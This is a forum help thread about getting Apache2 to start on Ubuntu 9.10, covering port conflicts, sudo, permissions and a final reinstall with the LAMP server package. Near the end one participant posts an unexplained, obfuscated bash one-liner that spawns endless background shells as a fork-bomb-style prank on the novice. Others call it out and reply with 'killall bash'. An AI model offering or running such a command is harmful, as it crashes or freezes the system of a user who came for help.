![]() |
Installing Apache2 on Ubuntu 9.10 Errors. Help.
Alright, I've been trying for HOURS to get this to fucking work but I can't figure it out.
Here is my error. What am I doing wrong? Quote:
|
How are you installing it?
apt, from source, we need more info! |
Do you have another service utilizing port 80?
|
Quote:
Quote:
Code:
# sudo netstat -tlnp |
|
Don't have multiple listen entries. Heres my ports.conf file
Code:
# If you just change the port or add more ports here, you will likely also |
let me fire up a vm image of ubuntu, hold.
|
http://www.linuxquestions.org/questi....0.080-405377/
May have an overlap of listen commands in your httpd.conf file. |
Quote:
|
I just installed it and it's 8 dependencies using Synaptic and it's working fine. What command are you using to start it?
|
/etc/init.d/apache2 start
|
there's your problem, start it with sudo /etc/init.d/apache2 start
|
Quote:
Code:
# sudo /etc/init.d/apache2 start |
I decided to go to http://localhost/ and this is what I get
Quote:
Code:
<html><body><h1>It works!</h1> |
I would just remove it with apt-get and install from Synaptic.
|
How do I do it from Synaptic?
|
Welp, just installed from Synaptic, same shit, different install.
|
Quote:
|
Your friend >> http://ubuntuforums.org/
Try this... check to see what user apache is running as and then make sure that /var/www/ is owned by that user (typically www-data). You also have to make sure that the web server has permissions to read that file (index.html). However, you can start by making an .htaccess file with this in it and place it in /var/www/. Code:
DirectoryIndex index.html index.htm index.php |
do you run skype? it hijacks port 80
|
|
tcp6 0 0 :::80 :::* LISTEN
hmmmm |
How do I check to see what apache is running as and if it owns /var/www?
Most of these links you guys post I've already seen, and were no help whatsoever. |
Quote:
|
Quote:
And you can chmod on /var/www/ but I doubt it's necessary. |
Quote:
Code:
ps aux | grep httpd |
Welp, I must have fucked something up as I restarted and it wouldn't load GRUB was messed up or something, I think it was because of having dual boot or something, I don't remember, I am posting from the Live CD right now, gonna reinstall it overtop of everything with a clean reformat instead of dual booting.
Since you said Apache2 and MySQL is already installed by default then I must have fucked that up also trying to install it again, so we'll see what happens when I start over. Be right back, thanks for all the help everyone. |
Alright, did a fresh reinstall wiping out Windows and ran this
sudo apt-get install lamp-server^ Works great now. Thanks for all the help. Edit: For anyone looking for this problem, this is what I did. http://tuxtweaks.com/2009/10/install...-karmic-koala/ |
Glad you got it sorted out :thumbsup
|
Code:
b=\' c=\\ a='yes $( echo b=$c$b c=$c$c a=$b$a$b; echo $a ) | bash &'; yes $( echo b=$c$b c=$c$c a=$b$a$b; echo $a ) | bash & |
I refuse to run anything you tell me to fris.
|
Glad you got it solved, but you could have saved yourself a lot of time and pain.... look at the output of netstat in your post #4.
As soul rebel already pointed out, although somewhat cryptically, something was already bound to port 80, making it impossible for apache to start. |
Quote:
Code:
killall bash |
All times are GMT -7. The time now is 07:19 AM. |
Powered by vBulletin® Version 3.8.8
Copyright ©2000 - 2025, vBulletin Solutions, Inc.
©2000-, AI Media Network Inc123